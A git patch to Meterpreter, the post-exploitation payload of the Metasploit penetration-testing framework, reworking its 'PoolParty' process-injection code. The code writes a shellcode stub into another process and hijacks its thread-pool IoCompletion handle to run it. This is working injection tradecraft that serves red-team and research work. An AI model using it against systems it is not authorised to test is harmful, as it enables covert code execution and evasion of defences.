From 93de0b4ef7fac6bad2ccfa40331ecb0f36c1f5bb Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 3 Oct 2024 11:21:49 -0400 Subject: [PATCH] fix(injection): review changes --- c/meterpreter/source/metsrv/base_dispatch.c | 3 - c/meterpreter/source/metsrv/base_inject.c | 96 ++++++++++----------- c/meterpreter/source/metsrv/base_inject.h | 6 +- c/meterpreter/source/metsrv/pool_party.c | 53 +++++++----- 4 files changed, 79 insertions(+), 79 deletions(-) diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 6e34be613..c68e48d49 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -699,9 +699,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul } } } - else { - - } } while (0); SAFE_FREE(config); diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 2554b0acd..c8d167874 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -504,9 +504,8 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces } DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { - // TODO: Use specific variant for different targets. DWORD dwResult = ERROR_SUCCESS; - DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; + DWORD dwTechnique = MIGRATE_TECHNIQUE_POOLPARTY; HANDLE hThread = NULL; LPVOID lpPoolPartyStub; POOLPARTYCONTEXT ctx = { 0 }; @@ -517,8 +516,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW LPVOID lpStub = NULL; DWORD dwStubSize = 0; - - DWORD dwPoolPartyVariant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; HANDLE hHeap = GetProcessHeap(); @@ -530,64 +527,59 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW do { - - if (TRUE) { - if (dwDestinationArch == PROCESS_ARCH_X64) { - dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64"); - lpStub = &poolparty_stub_x64; - dwStubSize = sizeof(poolparty_stub_x64) - 1; - } - else { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on x86 targets (yet)!", ERROR_POOLPARTY_GENERIC); - } + + if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86)) { + dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64"); + lpStub = &poolparty_stub_x64; + dwStubSize = sizeof(poolparty_stub_x64) - 1; + } + else { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_POOLPARTY_GENERIC); + } - hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL); - if (!hTriggerEvent) - { - BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed"); - } + hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hTriggerEvent) + { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed"); + } - // Duplicate the event handle for the target process - if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) - { - BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed"); - } + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed"); + } - lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent); - if (!lpPoolPartyStub) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC); - } - - if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC); - } + lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent); + if (!lpPoolPartyStub) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC); + } + + if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC); + } - if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC); - } + if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!", ERROR_POOLPARTY_GENERIC); + } - for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) { - if (poolparty->variants[variant].isInjectionSupported) { + for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) { + if (poolparty->variants[variant].isInjectionSupported) { #ifdef DEBUGTRACE - char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = { - "POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION", - }; - dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]); + char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = { + "POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION", + }; + dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]); #endif - dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent); - if (dwResult == ERROR_SUCCESS) { - dprintf("[INJECT] inject_via_poolparty: injectied!"); - break; - } + dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent); + if (dwResult == ERROR_SUCCESS) { + dprintf("[INJECT] inject_via_poolparty: injected!"); + break; } } - if (dwResult != ERROR_SUCCESS) { - BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC) - } } - else { - BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: this technique doesn't work on wow64", ERROR_POOLPARTY_GENERIC) + if (dwResult != ERROR_SUCCESS) { + BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC) } if (remote && response) diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h index 60bead6b1..4c639b5b3 100644 --- a/c/meterpreter/source/metsrv/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -72,19 +72,19 @@ typedef struct _POOLPARTYCONTEXT union { LPVOID lpStartAddress; - BYTE bPadding1[8]; + BYTE bPadding[8]; } s; union { LPVOID lpParameter; - BYTE bPadding2[8]; + BYTE bPadding[8]; } p; union { LPVOID hTriggerEvent; - BYTE bPadding2[8]; + BYTE bPadding[8]; } e; } POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT; diff --git a/c/meterpreter/source/metsrv/pool_party.c b/c/meterpreter/source/metsrv/pool_party.c index d37973af3..562771754 100644 --- a/c/meterpreter/source/metsrv/pool_party.c +++ b/c/meterpreter/source/metsrv/pool_party.c @@ -18,9 +18,19 @@ pNtDll* GetOrInitNtDll() { ntdll = (pNtDll*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(pNtDll)); bError = ntdll == NULL; if (!bError) { - HMODULE hNtDll = LoadLibraryA("ntdll.dll"); + HMODULE hNtDll = NULL; + hNtDll = GetModuleHandleA("ntdll.dll"); + if(hNtDll == NULL || hNtDll == INVALID_HANDLE_VALUE){ + hNtDll = LoadLibraryA("ntdll.dll"); + } ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess"); ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject"); + + if(ntdll->pNtQueryInformationProcess == NULL || ntdll->pNtQueryObject == NULL) { + HeapFree(hHeap, 0, ntdll); + ntdll = NULL; + return ntdll; + } dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject); ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion"); @@ -101,19 +111,17 @@ POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationAr return poolLifeguard; }; -// For now we support only Windows 10 x64 -> Windows 10 x64 +// For now we support only Windows >= 10 and x64 -> x64 BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) { OSVERSIONINFO os = { 0 }; - BOOL isWow64; - IsWow64Process(GetCurrentProcess(), &isWow64); os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion"); dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion); if (!pRtlGetVersion(&os)) { - dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d isWow64: %d", dwSourceArch, dwDestinationArch, isWow64); + dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d", dwSourceArch, dwDestinationArch); dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion); if (os.dwMajorVersion >= 10) { - if (dwDestinationArch == dwSourceArch && dwSourceArch == PROCESS_ARCH_X64) { + if (dwDestinationArch == dwSourceArch && (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86)) { return TRUE; } } @@ -133,8 +141,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) DWORD ntStatus = 0; lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); - dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo); + if(lpProcessInfo == NULL) { + return INVALID_HANDLE_VALUE; + } + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo); while (TRUE) { ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut); dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus); @@ -144,11 +155,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) dwInformationSizeIn = dwInformationSizeOut; continue; } - if (ntStatus != 0 && ntStatus != 0xC0000004L) { + if (ntStatus != ERROR_SUCCESS && ntStatus != 0xC0000004L) { HeapFree(hHeap, 0, lpProcessInfo); return INVALID_HANDLE_VALUE; } - if (ntStatus == 0) { + if (ntStatus == ERROR_SUCCESS) { break; } } @@ -183,17 +194,23 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI pNtDll* ntDll = NULL; DWORD dwResult = ERROR_POOLPARTY_GENERIC; HANDLE hHeap = GetProcessHeap(); - DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86; + LPVOID *Direct = NULL; - LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize); do { ntDll = GetOrInitNtDll(); if (ntdll == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); } + if (dwDestinationArch != PROCESS_ARCH_X64) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Currently only x86-64 destination arch is supported.", ERROR_POOLPARTY_VARIANT_FAILED); + } if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) } + Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64); + if(Direct == NULL) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) + } hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); if (hHijackHandle == INVALID_HANDLE_VALUE) { @@ -201,23 +218,17 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI } if (hHijackHandle != INVALID_HANDLE_VALUE) { - - if (dwDestinationArch == PROCESS_ARCH_X64) { - *(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress; - } - if (dwDestinationArch == PROCESS_ARCH_X86) { - *(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86 - 4) = (DWORD) PtrToPtr32(lpStartAddress); - } - LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + *(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress; + LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!RemoteDirectAddress) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED) } - if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) { + if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, TP_DIRECT_STRUCT_SIZE_X64, NULL)) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED) } dwResult = ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult); - dwResult = 0; + dwResult = ERROR_SUCCESS; } } while (0); return dwResult;